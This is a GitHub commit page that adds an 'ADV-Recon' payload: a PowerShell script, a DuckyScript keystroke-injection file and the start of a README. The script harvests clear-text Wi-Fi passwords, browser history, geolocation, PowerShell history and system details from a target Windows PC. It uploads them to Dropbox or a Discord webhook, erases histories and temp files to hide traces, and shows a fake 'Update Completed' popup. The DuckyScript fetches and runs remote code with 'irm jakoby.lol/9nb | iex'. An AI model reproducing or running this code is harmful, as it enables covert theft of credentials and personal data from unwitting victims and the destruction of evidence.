Add files via upload
This commit is contained in:
I-Am-Jakoby
GitHub
parent
0c0b029e86
commit
25fcf460e5
77 changed files with 6590 additions and 0 deletions
588
Payloads/ADV-Recon/ADV-Recon.ps1
Normal file
588
Payloads/ADV-Recon/ADV-Recon.ps1
Normal file
|
|
@ -0,0 +1,588 @@
|
||||||
|
############################################################################################################################################################
|
||||||
|
# | ___ _ _ _ # ,d88b.d88b #
|
||||||
|
# Title : ADV-Recon | |_ _| __ _ _ __ ___ | | __ _ | | __ ___ | |__ _ _ # 88888888888 #
|
||||||
|
# Author : I am Jakoby | | | / _` | | '_ ` _ \ _ | | / _` | | |/ / / _ \ | '_ \ | | | |# `Y8888888Y' #
|
||||||
|
# Version : 2.0 | | | | (_| | | | | | | | | |_| | | (_| | | < | (_) | | |_) | | |_| |# `Y888Y' #
|
||||||
|
# Category : Recon | |___| \__,_| |_| |_| |_| \___/ \__,_| |_|\_\ \___/ |_.__/ \__, |# `Y' #
|
||||||
|
# Target : Windows 10,11 | |___/ # /\/|_ __/\\ #
|
||||||
|
# Mode : HID | |\__/,| (`\ # / -\ /- ~\ #
|
||||||
|
# | My crime is that of curiosity |_ _ |.--.) )# \ = Y =T_ = / #
|
||||||
|
# | and yea curiosity killed the cat ( T ) / # Luther )==*(` `) ~ \ Hobo #
|
||||||
|
# | but satisfaction brought him back (((^_(((/(((_/ # / \ / \ #
|
||||||
|
#__________________________________|_________________________________________________________________________# | | ) ~ ( #
|
||||||
|
# tiktok.com/@i_am_jakoby # / \ / ~ \ #
|
||||||
|
# github.com/I-Am-Jakoby # \ / \~ ~/ #
|
||||||
|
# twitter.com/I_Am_Jakoby # /\_/\_/\__ _/_/\_/\__~__/_/\_/\_/\_/\_/\_#
|
||||||
|
# instagram.com/i_am_jakoby # | | | | ) ) | | | (( | | | | | |#
|
||||||
|
# youtube.com/c/IamJakoby # | | | |( ( | | | \\ | | | | | |#
|
||||||
|
############################################################################################################################################################
|
||||||
|
|
||||||
|
<#
|
||||||
|
.SYNOPSIS
|
||||||
|
This is an advanced recon of a target PC and exfiltration of that data.
|
||||||
|
.DESCRIPTION
|
||||||
|
This program gathers details from target PC to include everything you could imagine from wifi passwords to PC specs to every process running.
|
||||||
|
All of the gather information is formatted neatly and output to a file.
|
||||||
|
That file is then exfiltrated to cloud storage via Dropbox.
|
||||||
|
.Link
|
||||||
|
https://developers.dropbox.com/oauth-guide # Guide for setting up your Dropbox for uploads
|
||||||
|
https://www.youtube.com/watch?v=Zs-1j42ySNU # My youtube tutorial on Discord Uploads
|
||||||
|
https://www.youtube.com/watch?v=VPU7dFzpQrM # My youtube tutorial on Dropbox Uploads
|
||||||
|
#>
|
||||||
|
|
||||||
|
############################################################################################################################################################
|
||||||
|
|
||||||
|
# MAKE LOOT FOLDER, FILE, and ZIP
|
||||||
|
|
||||||
|
$FolderName = "$env:USERNAME-LOOT-$(get-date -f yyyy-MM-dd_hh-mm)"
|
||||||
|
|
||||||
|
$FileName = "$FolderName.txt"
|
||||||
|
|
||||||
|
$ZIP = "$FolderName.zip"
|
||||||
|
|
||||||
|
New-Item -Path $env:tmp/$FolderName -ItemType Directory
|
||||||
|
|
||||||
|
############################################################################################################################################################
|
||||||
|
|
||||||
|
# Enter your access tokens below. At least one has to be provided but both can be used at the same time.
|
||||||
|
|
||||||
|
#$db = ""
|
||||||
|
|
||||||
|
#$dc = ""
|
||||||
|
|
||||||
|
############################################################################################################################################################
|
||||||
|
|
||||||
|
# Recon all User Directories
|
||||||
|
tree $Env:userprofile /a /f >> $env:TEMP\$FolderName\tree.txt
|
||||||
|
|
||||||
|
# Powershell history
|
||||||
|
Copy-Item "$env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt" -Destination $env:TEMP\$FolderName\Powershell-History.txt
|
||||||
|
|
||||||
|
############################################################################################################################################################
|
||||||
|
|
||||||
|
function Get-fullName {
|
||||||
|
|
||||||
|
try {
|
||||||
|
$fullName = (Get-LocalUser -Name $env:USERNAME).FullName
|
||||||
|
}
|
||||||
|
|
||||||
|
# If no name is detected function will return $env:UserName
|
||||||
|
|
||||||
|
# Write Error is just for troubleshooting
|
||||||
|
catch {Write-Error "No name was detected"
|
||||||
|
return $env:UserName
|
||||||
|
-ErrorAction SilentlyContinue
|
||||||
|
}
|
||||||
|
|
||||||
|
return $fullName
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
$fullName = Get-fullName
|
||||||
|
|
||||||
|
#------------------------------------------------------------------------------------------------------------------------------------
|
||||||
|
|
||||||
|
function Get-email {
|
||||||
|
|
||||||
|
try {
|
||||||
|
|
||||||
|
$email = (Get-CimInstance CIM_ComputerSystem).PrimaryOwnerName
|
||||||
|
return $email
|
||||||
|
}
|
||||||
|
|
||||||
|
# If no email is detected function will return backup message for sapi speak
|
||||||
|
|
||||||
|
# Write Error is just for troubleshooting
|
||||||
|
catch {Write-Error "An email was not found"
|
||||||
|
return "No Email Detected"
|
||||||
|
-ErrorAction SilentlyContinue
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
$email = Get-email
|
||||||
|
|
||||||
|
|
||||||
|
#------------------------------------------------------------------------------------------------------------------------------------
|
||||||
|
|
||||||
|
function Get-GeoLocation{
|
||||||
|
try {
|
||||||
|
Add-Type -AssemblyName System.Device #Required to access System.Device.Location namespace
|
||||||
|
$GeoWatcher = New-Object System.Device.Location.GeoCoordinateWatcher #Create the required object
|
||||||
|
$GeoWatcher.Start() #Begin resolving current locaton
|
||||||
|
|
||||||
|
while (($GeoWatcher.Status -ne 'Ready') -and ($GeoWatcher.Permission -ne 'Denied')) {
|
||||||
|
Start-Sleep -Milliseconds 100 #Wait for discovery.
|
||||||
|
}
|
||||||
|
|
||||||
|
if ($GeoWatcher.Permission -eq 'Denied'){
|
||||||
|
Write-Error 'Access Denied for Location Information'
|
||||||
|
} else {
|
||||||
|
$GeoWatcher.Position.Location | Select Latitude,Longitude #Select the relevent results.
|
||||||
|
}
|
||||||
|
}
|
||||||
|
# Write Error is just for troubleshooting
|
||||||
|
catch {Write-Error "No coordinates found"
|
||||||
|
return "No Coordinates found"
|
||||||
|
-ErrorAction SilentlyContinue
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
$GeoLocation = Get-GeoLocation
|
||||||
|
|
||||||
|
$GeoLocation = $GeoLocation -split " "
|
||||||
|
|
||||||
|
$Lat = $GeoLocation[0].Substring(11) -replace ".$"
|
||||||
|
|
||||||
|
$Lon = $GeoLocation[1].Substring(10) -replace ".$"
|
||||||
|
|
||||||
|
############################################################################################################################################################
|
||||||
|
|
||||||
|
# local-user
|
||||||
|
|
||||||
|
$luser=Get-WmiObject -Class Win32_UserAccount | Format-Table Caption, Domain, Name, FullName, SID | Out-String
|
||||||
|
|
||||||
|
############################################################################################################################################################
|
||||||
|
|
||||||
|
Function Get-RegistryValue($key, $value) { (Get-ItemProperty $key $value).$value }
|
||||||
|
|
||||||
|
$Key = "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System"
|
||||||
|
$ConsentPromptBehaviorAdmin_Name = "ConsentPromptBehaviorAdmin"
|
||||||
|
$PromptOnSecureDesktop_Name = "PromptOnSecureDesktop"
|
||||||
|
|
||||||
|
$ConsentPromptBehaviorAdmin_Value = Get-RegistryValue $Key $ConsentPromptBehaviorAdmin_Name
|
||||||
|
$PromptOnSecureDesktop_Value = Get-RegistryValue $Key $PromptOnSecureDesktop_Name
|
||||||
|
|
||||||
|
If($ConsentPromptBehaviorAdmin_Value -Eq 0 -And $PromptOnSecureDesktop_Value -Eq 0){ $UAC = "Never notIfy" }
|
||||||
|
|
||||||
|
ElseIf($ConsentPromptBehaviorAdmin_Value -Eq 5 -And $PromptOnSecureDesktop_Value -Eq 0){ $UAC = "NotIfy me only when apps try to make changes to my computer(do not dim my desktop)" }
|
||||||
|
|
||||||
|
ElseIf($ConsentPromptBehaviorAdmin_Value -Eq 5 -And $PromptOnSecureDesktop_Value -Eq 1){ $UAC = "NotIfy me only when apps try to make changes to my computer(default)" }
|
||||||
|
|
||||||
|
ElseIf($ConsentPromptBehaviorAdmin_Value -Eq 2 -And $PromptOnSecureDesktop_Value -Eq 1){ $UAC = "Always notIfy" }
|
||||||
|
|
||||||
|
Else{ $UAC = "Unknown" }
|
||||||
|
|
||||||
|
############################################################################################################################################################
|
||||||
|
|
||||||
|
$lsass = Get-Process -Name "lsass"
|
||||||
|
|
||||||
|
if ($lsass.ProtectedProcess) {$lsass = "LSASS is running as a protected process."}
|
||||||
|
|
||||||
|
else {$lsass = "LSASS is not running as a protected process."}
|
||||||
|
|
||||||
|
############################################################################################################################################################
|
||||||
|
|
||||||
|
$StartUp = (Get-ChildItem -Path ([Environment]::GetFolderPath("Startup"))).Name
|
||||||
|
|
||||||
|
############################################################################################################################################################
|
||||||
|
|
||||||
|
# Get nearby wifi networks
|
||||||
|
|
||||||
|
try
|
||||||
|
{
|
||||||
|
$NearbyWifi = (netsh wlan show networks mode=Bssid | ?{$_ -like "SSID*" -or $_ -like "*Authentication*" -or $_ -like "*Encryption*"}).trim()
|
||||||
|
}
|
||||||
|
catch
|
||||||
|
{
|
||||||
|
$NearbyWifi="No nearby wifi networks detected"
|
||||||
|
}
|
||||||
|
|
||||||
|
############################################################################################################################################################
|
||||||
|
|
||||||
|
# Get info about pc
|
||||||
|
|
||||||
|
# Get IP / Network Info
|
||||||
|
|
||||||
|
try{$computerPubIP=(Invoke-WebRequest ipinfo.io/ip -UseBasicParsing).Content}
|
||||||
|
catch{$computerPubIP="Error getting Public IP"}
|
||||||
|
|
||||||
|
try{$localIP = Get-NetIPAddress -InterfaceAlias "*Ethernet*","*Wi-Fi*" -AddressFamily IPv4 | Select InterfaceAlias, IPAddress, PrefixOrigin | Out-String}
|
||||||
|
catch{$localIP = "Error getting local IP"}
|
||||||
|
|
||||||
|
$MAC = Get-NetAdapter -Name "*Ethernet*","*Wi-Fi*"| Select Name, MacAddress, Status | Out-String
|
||||||
|
|
||||||
|
# Check RDP
|
||||||
|
|
||||||
|
if ((Get-ItemProperty "hklm:\System\CurrentControlSet\Control\Terminal Server").fDenyTSConnections -eq 0) {
|
||||||
|
$RDP = "RDP is Enabled"
|
||||||
|
} else {
|
||||||
|
$RDP = "RDP is NOT enabled"
|
||||||
|
}
|
||||||
|
|
||||||
|
############################################################################################################################################################
|
||||||
|
|
||||||
|
#Get System Info
|
||||||
|
$computerSystem = Get-CimInstance CIM_ComputerSystem
|
||||||
|
|
||||||
|
$computerName = $computerSystem.Name
|
||||||
|
|
||||||
|
$computerModel = $computerSystem.Model
|
||||||
|
|
||||||
|
$computerManufacturer = $computerSystem.Manufacturer
|
||||||
|
|
||||||
|
$computerBIOS = Get-CimInstance CIM_BIOSElement | Out-String
|
||||||
|
|
||||||
|
$computerOs=(Get-WMIObject win32_operatingsystem) | Select Caption, Version | Out-String
|
||||||
|
|
||||||
|
$computerCpu=Get-WmiObject Win32_Processor | select DeviceID, Name, Caption, Manufacturer, MaxClockSpeed, L2CacheSize, L2CacheSpeed, L3CacheSize, L3CacheSpeed | Format-List | Out-String
|
||||||
|
|
||||||
|
$computerMainboard=Get-WmiObject Win32_BaseBoard | Format-List | Out-String
|
||||||
|
|
||||||
|
$computerRamCapacity=Get-WmiObject Win32_PhysicalMemory | Measure-Object -Property capacity -Sum | % { "{0:N1} GB" -f ($_.sum / 1GB)} | Out-String
|
||||||
|
|
||||||
|
$computerRam=Get-WmiObject Win32_PhysicalMemory | select DeviceLocator, @{Name="Capacity";Expression={ "{0:N1} GB" -f ($_.Capacity / 1GB)}}, ConfiguredClockSpeed, ConfiguredVoltage | Format-Table | Out-String
|
||||||
|
|
||||||
|
############################################################################################################################################################
|
||||||
|
|
||||||
|
$ScheduledTasks = Get-ScheduledTask
|
||||||
|
|
||||||
|
############################################################################################################################################################
|
||||||
|
|
||||||
|
$klist = klist sessions
|
||||||
|
|
||||||
|
############################################################################################################################################################
|
||||||
|
|
||||||
|
$RecentFiles = Get-ChildItem -Path $env:USERPROFILE -Recurse -File | Sort-Object LastWriteTime -Descending | Select-Object -First 50 FullName, LastWriteTime
|
||||||
|
|
||||||
|
############################################################################################################################################################
|
||||||
|
|
||||||
|
# Get HDDs
|
||||||
|
$driveType = @{
|
||||||
|
2="Removable disk "
|
||||||
|
3="Fixed local disk "
|
||||||
|
4="Network disk "
|
||||||
|
5="Compact disk "}
|
||||||
|
$Hdds = Get-WmiObject Win32_LogicalDisk | select DeviceID, VolumeName, @{Name="DriveType";Expression={$driveType.item([int]$_.DriveType)}}, FileSystem,VolumeSerialNumber,@{Name="Size_GB";Expression={"{0:N1} GB" -f ($_.Size / 1Gb)}}, @{Name="FreeSpace_GB";Expression={"{0:N1} GB" -f ($_.FreeSpace / 1Gb)}}, @{Name="FreeSpace_percent";Expression={"{0:N1}%" -f ((100 / ($_.Size / $_.FreeSpace)))}} | Format-Table DeviceID, VolumeName,DriveType,FileSystem,VolumeSerialNumber,@{ Name="Size GB"; Expression={$_.Size_GB}; align="right"; }, @{ Name="FreeSpace GB"; Expression={$_.FreeSpace_GB}; align="right"; }, @{ Name="FreeSpace %"; Expression={$_.FreeSpace_percent}; align="right"; } | Out-String
|
||||||
|
|
||||||
|
#Get - Com & Serial Devices
|
||||||
|
$COMDevices = Get-Wmiobject Win32_USBControllerDevice | ForEach-Object{[Wmi]($_.Dependent)} | Select-Object Name, DeviceID, Manufacturer | Sort-Object -Descending Name | Format-Table | Out-String -width 250
|
||||||
|
|
||||||
|
############################################################################################################################################################
|
||||||
|
|
||||||
|
# Get Network Interfaces
|
||||||
|
$NetworkAdapters = Get-WmiObject Win32_NetworkAdapterConfiguration | where { $_.MACAddress -notlike $null } | select Index, Description, IPAddress, DefaultIPGateway, MACAddress | Format-Table Index, Description, IPAddress, DefaultIPGateway, MACAddress | Out-String -width 250
|
||||||
|
|
||||||
|
$wifiProfiles = (netsh wlan show profiles) | Select-String "\:(.+)$" | %{$name=$_.Matches.Groups[1].Value.Trim(); $_} | %{(netsh wlan show profile name="$name" key=clear)} | Select-String "Key Content\W+\:(.+)$" | %{$pass=$_.Matches.Groups[1].Value.Trim(); $_} | %{[PSCustomObject]@{ PROFILE_NAME=$name;PASSWORD=$pass }} | Format-Table -AutoSize | Out-String
|
||||||
|
|
||||||
|
############################################################################################################################################################
|
||||||
|
|
||||||
|
# process first
|
||||||
|
$process=Get-WmiObject win32_process | select Handle, ProcessName, ExecutablePath, CommandLine | Sort-Object ProcessName | Format-Table Handle, ProcessName, ExecutablePath, CommandLine | Out-String -width 250
|
||||||
|
|
||||||
|
# Get Listeners / ActiveTcpConnections
|
||||||
|
$listener = Get-NetTCPConnection | select @{Name="LocalAddress";Expression={$_.LocalAddress + ":" + $_.LocalPort}}, @{Name="RemoteAddress";Expression={$_.RemoteAddress + ":" + $_.RemotePort}}, State, AppliedSetting, OwningProcess
|
||||||
|
$listener = $listener | foreach-object {
|
||||||
|
$listenerItem = $_
|
||||||
|
$processItem = ($process | where { [int]$_.Handle -like [int]$listenerItem.OwningProcess })
|
||||||
|
new-object PSObject -property @{
|
||||||
|
"LocalAddress" = $listenerItem.LocalAddress
|
||||||
|
"RemoteAddress" = $listenerItem.RemoteAddress
|
||||||
|
"State" = $listenerItem.State
|
||||||
|
"AppliedSetting" = $listenerItem.AppliedSetting
|
||||||
|
"OwningProcess" = $listenerItem.OwningProcess
|
||||||
|
"ProcessName" = $processItem.ProcessName
|
||||||
|
}
|
||||||
|
} | select LocalAddress, RemoteAddress, State, AppliedSetting, OwningProcess, ProcessName | Sort-Object LocalAddress | Format-Table | Out-String -width 250
|
||||||
|
|
||||||
|
# service
|
||||||
|
$service=Get-WmiObject win32_service | select State, Name, DisplayName, PathName, @{Name="Sort";Expression={$_.State + $_.Name}} | Sort-Object Sort | Format-Table State, Name, DisplayName, PathName | Out-String -width 250
|
||||||
|
|
||||||
|
# installed software (get uninstaller)
|
||||||
|
$software=Get-ItemProperty HKLM:\Software\Microsoft\Windows\CurrentVersion\Uninstall\* | where { $_.DisplayName -notlike $null } | Select-Object DisplayName, DisplayVersion, Publisher, InstallDate | Sort-Object DisplayName | Format-Table -AutoSize | Out-String -width 250
|
||||||
|
|
||||||
|
# drivers
|
||||||
|
$drivers=Get-WmiObject Win32_PnPSignedDriver| where { $_.DeviceName -notlike $null } | select DeviceName, FriendlyName, DriverProviderName, DriverVersion | Out-String -width 250
|
||||||
|
|
||||||
|
# videocard
|
||||||
|
$videocard=Get-WmiObject Win32_VideoController | Format-Table Name, VideoProcessor, DriverVersion, CurrentHorizontalResolution, CurrentVerticalResolution | Out-String -width 250
|
||||||
|
|
||||||
|
|
||||||
|
############################################################################################################################################################
|
||||||
|
|
||||||
|
# OUTPUTS RESULTS TO LOOT FILE
|
||||||
|
|
||||||
|
$output = @"
|
||||||
|
|
||||||
|
############################################################################################################################################################
|
||||||
|
# | ___ _ _ _ # ,d88b.d88b #
|
||||||
|
# Title : ADV-Recon | |_ _| __ _ _ __ ___ | | __ _ | | __ ___ | |__ _ _ # 88888888888 #
|
||||||
|
# Author : I am Jakoby | | | / _' | | '_ ' _ \ _ | | / _' | | |/ / / _ \ | '_ \ | | | |# 'Y8888888Y' #
|
||||||
|
# Version : 2.0 | | | | (_| | | | | | | | | |_| | | (_| | | < | (_) | | |_) | | |_| |# 'Y888Y' #
|
||||||
|
# Category : Recon | |___| \__,_| |_| |_| |_| \___/ \__,_| |_|\_\ \___/ |_.__/ \__, |# 'Y' #
|
||||||
|
# Target : Windows 10,11 | |___/ # /\/|_ __/\\ #
|
||||||
|
# Mode : HID | |\__/,| ('\ # / -\ /- ~\ #
|
||||||
|
# | My crime is that of curiosity |_ _ |.--.) )# \ = Y =T_ = / #
|
||||||
|
# | and yea curiosity killed the cat ( T ) / # Luther )==*(' ') ~ \ Hobo #
|
||||||
|
# | but satisfaction brought him back (((^_(((/(((_/ # / \ / \ #
|
||||||
|
#__________________________________|_________________________________________________________________________# | | ) ~ ( #
|
||||||
|
# tiktok.com/@i_am_jakoby # / \ / ~ \ #
|
||||||
|
# github.com/I-Am-Jakoby # \ / \~ ~/ #
|
||||||
|
# twitter.com/I_Am_Jakoby # /\_/\_/\__ _/_/\_/\__~__/_/\_/\_/\_/\_/\_#
|
||||||
|
# instagram.com/i_am_jakoby # | | | | ) ) | | | (( | | | | | |#
|
||||||
|
# youtube.com/c/IamJakoby # | | | |( ( | | | \\ | | | | | |#
|
||||||
|
############################################################################################################################################################
|
||||||
|
|
||||||
|
|
||||||
|
Full Name: $fullName
|
||||||
|
|
||||||
|
Email: $email
|
||||||
|
|
||||||
|
GeoLocation:
|
||||||
|
Latitude: $Lat
|
||||||
|
Longitude: $Lon
|
||||||
|
|
||||||
|
------------------------------------------------------------------------------------------------------------------------------
|
||||||
|
|
||||||
|
Local Users:
|
||||||
|
$luser
|
||||||
|
|
||||||
|
------------------------------------------------------------------------------------------------------------------------------
|
||||||
|
|
||||||
|
UAC State:
|
||||||
|
$UAC
|
||||||
|
|
||||||
|
LSASS State:
|
||||||
|
$lsass
|
||||||
|
|
||||||
|
RDP State:
|
||||||
|
$RDP
|
||||||
|
|
||||||
|
------------------------------------------------------------------------------------------------------------------------------
|
||||||
|
|
||||||
|
Public IP:
|
||||||
|
$computerPubIP
|
||||||
|
|
||||||
|
Local IPs:
|
||||||
|
$localIP
|
||||||
|
|
||||||
|
MAC:
|
||||||
|
$MAC
|
||||||
|
|
||||||
|
------------------------------------------------------------------------------------------------------------------------------
|
||||||
|
|
||||||
|
Computer Name:
|
||||||
|
$computerName
|
||||||
|
|
||||||
|
Model:
|
||||||
|
$computerModel
|
||||||
|
|
||||||
|
Manufacturer:
|
||||||
|
$computerManufacturer
|
||||||
|
|
||||||
|
BIOS:
|
||||||
|
$computerBIOS
|
||||||
|
|
||||||
|
OS:
|
||||||
|
$computerOs
|
||||||
|
|
||||||
|
CPU:
|
||||||
|
$computerCpu
|
||||||
|
|
||||||
|
Mainboard:
|
||||||
|
$computerMainboard
|
||||||
|
|
||||||
|
Ram Capacity:
|
||||||
|
$computerRamCapacity
|
||||||
|
|
||||||
|
Total installed Ram:
|
||||||
|
$computerRam
|
||||||
|
|
||||||
|
Video Card:
|
||||||
|
$videocard
|
||||||
|
|
||||||
|
------------------------------------------------------------------------------------------------------------------------------
|
||||||
|
|
||||||
|
Contents of Start Up Folder:
|
||||||
|
$StartUp
|
||||||
|
|
||||||
|
------------------------------------------------------------------------------------------------------------------------------
|
||||||
|
|
||||||
|
Scheduled Tasks:
|
||||||
|
$ScheduledTasks
|
||||||
|
|
||||||
|
------------------------------------------------------------------------------------------------------------------------------
|
||||||
|
|
||||||
|
Logon Sessions:
|
||||||
|
$klist
|
||||||
|
|
||||||
|
------------------------------------------------------------------------------------------------------------------------------
|
||||||
|
|
||||||
|
Recent Files:
|
||||||
|
$RecentFiles
|
||||||
|
|
||||||
|
------------------------------------------------------------------------------------------------------------------------------
|
||||||
|
|
||||||
|
Hard-Drives:
|
||||||
|
$Hdds
|
||||||
|
|
||||||
|
COM Devices:
|
||||||
|
$COMDevices
|
||||||
|
|
||||||
|
------------------------------------------------------------------------------------------------------------------------------
|
||||||
|
|
||||||
|
Network Adapters:
|
||||||
|
$NetworkAdapters
|
||||||
|
|
||||||
|
------------------------------------------------------------------------------------------------------------------------------
|
||||||
|
|
||||||
|
Nearby Wifi:
|
||||||
|
$NearbyWifi
|
||||||
|
|
||||||
|
Wifi Profiles:
|
||||||
|
$wifiProfiles
|
||||||
|
|
||||||
|
------------------------------------------------------------------------------------------------------------------------------
|
||||||
|
|
||||||
|
Process:
|
||||||
|
$process
|
||||||
|
|
||||||
|
------------------------------------------------------------------------------------------------------------------------------
|
||||||
|
|
||||||
|
Listeners:
|
||||||
|
$listener
|
||||||
|
|
||||||
|
------------------------------------------------------------------------------------------------------------------------------
|
||||||
|
|
||||||
|
Services:
|
||||||
|
$service
|
||||||
|
|
||||||
|
------------------------------------------------------------------------------------------------------------------------------
|
||||||
|
|
||||||
|
Installed Software:
|
||||||
|
$software
|
||||||
|
|
||||||
|
------------------------------------------------------------------------------------------------------------------------------
|
||||||
|
|
||||||
|
Drivers:
|
||||||
|
$drivers
|
||||||
|
|
||||||
|
------------------------------------------------------------------------------------------------------------------------------
|
||||||
|
|
||||||
|
"@
|
||||||
|
|
||||||
|
$output > $env:TEMP\$FolderName/computerData.txt
|
||||||
|
|
||||||
|
############################################################################################################################################################
|
||||||
|
|
||||||
|
function Get-BrowserData {
|
||||||
|
|
||||||
|
[CmdletBinding()]
|
||||||
|
param (
|
||||||
|
[Parameter (Position=1,Mandatory = $True)]
|
||||||
|
[string]$Browser,
|
||||||
|
[Parameter (Position=1,Mandatory = $True)]
|
||||||
|
[string]$DataType
|
||||||
|
)
|
||||||
|
|
||||||
|
$Regex = '(http|https)://([\w-]+\.)+[\w-]+(/[\w- ./?%&=]*)*?'
|
||||||
|
|
||||||
|
if ($Browser -eq 'chrome' -and $DataType -eq 'history' ) {$Path = "$Env:USERPROFILE\AppData\Local\Google\Chrome\User Data\Default\History"}
|
||||||
|
elseif ($Browser -eq 'chrome' -and $DataType -eq 'bookmarks' ) {$Path = "$Env:USERPROFILE\AppData\Local\Google\Chrome\User Data\Default\Bookmarks"}
|
||||||
|
elseif ($Browser -eq 'edge' -and $DataType -eq 'history' ) {$Path = "$Env:USERPROFILE\AppData\Local\Microsoft/Edge/User Data/Default/History"}
|
||||||
|
elseif ($Browser -eq 'edge' -and $DataType -eq 'bookmarks' ) {$Path = "$env:USERPROFILE/AppData/Local/Microsoft/Edge/User Data/Default/Bookmarks"}
|
||||||
|
elseif ($Browser -eq 'firefox' -and $DataType -eq 'history' ) {$Path = "$Env:USERPROFILE\AppData\Roaming\Mozilla\Firefox\Profiles\*.default-release\places.sqlite"}
|
||||||
|
|
||||||
|
|
||||||
|
$Value = Get-Content -Path $Path | Select-String -AllMatches $regex |% {($_.Matches).Value} |Sort -Unique
|
||||||
|
$Value | ForEach-Object {
|
||||||
|
$Key = $_
|
||||||
|
if ($Key -match $Search){
|
||||||
|
New-Object -TypeName PSObject -Property @{
|
||||||
|
User = $env:UserName
|
||||||
|
Browser = $Browser
|
||||||
|
DataType = $DataType
|
||||||
|
Data = $_
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
Get-BrowserData -Browser "edge" -DataType "history" >> $env:TMP\$FolderName\BrowserData.txt
|
||||||
|
|
||||||
|
Get-BrowserData -Browser "edge" -DataType "bookmarks" >> $env:TMP\$FolderName\BrowserData.txt
|
||||||
|
|
||||||
|
Get-BrowserData -Browser "chrome" -DataType "history" >> $env:TMP\$FolderName\BrowserData.txt
|
||||||
|
|
||||||
|
Get-BrowserData -Browser "chrome" -DataType "bookmarks" >> $env:TMP\$FolderName\BrowserData.txt
|
||||||
|
|
||||||
|
Get-BrowserData -Browser "firefox" -DataType "history" >> $env:TMP\$FolderName\BrowserData.txt
|
||||||
|
|
||||||
|
############################################################################################################################################################
|
||||||
|
|
||||||
|
Compress-Archive -Path $env:tmp/$FolderName -DestinationPath $env:tmp/$ZIP
|
||||||
|
|
||||||
|
# Upload output file to dropbox
|
||||||
|
|
||||||
|
function dropbox {
|
||||||
|
$TargetFilePath="/$ZIP"
|
||||||
|
$SourceFilePath="$env:TEMP\$ZIP"
|
||||||
|
$arg = '{ "path": "' + $TargetFilePath + '", "mode": "add", "autorename": true, "mute": false }'
|
||||||
|
$authorization = "Bearer " + $db
|
||||||
|
$headers = New-Object "System.Collections.Generic.Dictionary[[String],[String]]"
|
||||||
|
$headers.Add("Authorization", $authorization)
|
||||||
|
$headers.Add("Dropbox-API-Arg", $arg)
|
||||||
|
$headers.Add("Content-Type", 'application/octet-stream')
|
||||||
|
Invoke-RestMethod -Uri https://content.dropboxapi.com/2/files/upload -Method Post -InFile $SourceFilePath -Headers $headers
|
||||||
|
}
|
||||||
|
|
||||||
|
if (-not ([string]::IsNullOrEmpty($db))){dropbox}
|
||||||
|
|
||||||
|
############################################################################################################################################################
|
||||||
|
|
||||||
|
function Upload-Discord {
|
||||||
|
|
||||||
|
[CmdletBinding()]
|
||||||
|
param (
|
||||||
|
[parameter(Position=0,Mandatory=$False)]
|
||||||
|
[string]$file,
|
||||||
|
[parameter(Position=1,Mandatory=$False)]
|
||||||
|
[string]$text
|
||||||
|
)
|
||||||
|
|
||||||
|
$hookurl = "$dc"
|
||||||
|
|
||||||
|
$Body = @{
|
||||||
|
'username' = $env:username
|
||||||
|
'content' = $text
|
||||||
|
}
|
||||||
|
|
||||||
|
if (-not ([string]::IsNullOrEmpty($text))){
|
||||||
|
Invoke-RestMethod -ContentType 'Application/Json' -Uri $hookurl -Method Post -Body ($Body | ConvertTo-Json)};
|
||||||
|
|
||||||
|
if (-not ([string]::IsNullOrEmpty($file))){curl.exe -F "file1=@$file" $hookurl}
|
||||||
|
}
|
||||||
|
|
||||||
|
if (-not ([string]::IsNullOrEmpty($dc))){Upload-Discord -file "$env:tmp/$ZIP"}
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
############################################################################################################################################################
|
||||||
|
|
||||||
|
<#
|
||||||
|
.NOTES
|
||||||
|
This is to clean up behind you and remove any evidence to prove you were there
|
||||||
|
#>
|
||||||
|
|
||||||
|
# Delete contents of Temp folder
|
||||||
|
|
||||||
|
rm $env:TEMP\* -r -Force -ErrorAction SilentlyContinue
|
||||||
|
|
||||||
|
# Delete run box history
|
||||||
|
|
||||||
|
reg delete HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU /va /f
|
||||||
|
|
||||||
|
# Delete powershell history
|
||||||
|
|
||||||
|
Remove-Item (Get-PSreadlineOption).HistorySavePath
|
||||||
|
|
||||||
|
# Deletes contents of recycle bin
|
||||||
|
|
||||||
|
Clear-RecycleBin -Force -ErrorAction SilentlyContinue
|
||||||
|
|
||||||
|
|
||||||
|
############################################################################################################################################################
|
||||||
|
|
||||||
|
# Popup message to signal the payload is done
|
||||||
|
|
||||||
|
$done = New-Object -ComObject Wscript.Shell;$done.Popup("Update Completed",1)
|
||||||
12
Payloads/ADV-Recon/ADV-Recon.txt
Normal file
12
Payloads/ADV-Recon/ADV-Recon.txt
Normal file
|
|
@ -0,0 +1,12 @@
|
||||||
|
REM Title: ADV-Recon
|
||||||
|
|
||||||
|
REM Author: I am Jakoby
|
||||||
|
|
||||||
|
REM Description: This payload is meant to do an advanced recon of the target's PC. See README.md file for more details.
|
||||||
|
|
||||||
|
REM Target: Windows 10, 11
|
||||||
|
|
||||||
|
GUI r
|
||||||
|
DELAY 500
|
||||||
|
STRING powershell -w h -NoP -Ep Bypass $dc='';$db='';irm jakoby.lol/9nb | iex
|
||||||
|
ENTER
|
||||||
145
Payloads/ADV-Recon/README.md
Normal file
145
Payloads/ADV-Recon/README.md
Normal file
|
|
@ -0,0 +1,145 @@
|
||||||
|
|
||||||
|
|
||||||
|
<!-- TABLE OF CONTENTS -->
|
||||||
|
<details>
|
||||||
|
<summary>Table of Contents</summary>
|
||||||
|
<ol>
|
||||||
|
<li><a href="#Description">Description</a></li>
|
||||||
|
<li><a href="#getting-started">Getting Started</a></li>
|
||||||
|
<li><a href="#Contributing">Contributing</a></li>
|
||||||
|
<li><a href="#Version-History">Version History</a></li>
|
||||||
|
<li><a href="#Contact">Contact</a></li>
|
||||||
|
<li><a href="#Acknowledgments">Acknowledgments</a></li>
|
||||||
|
</ol>
|
||||||
|
</details>
|
||||||
|
|
||||||
|
# ADV-Recon
|
||||||
|
|
||||||
|
A script used to do an advanced level of recon on the target's computer.
|
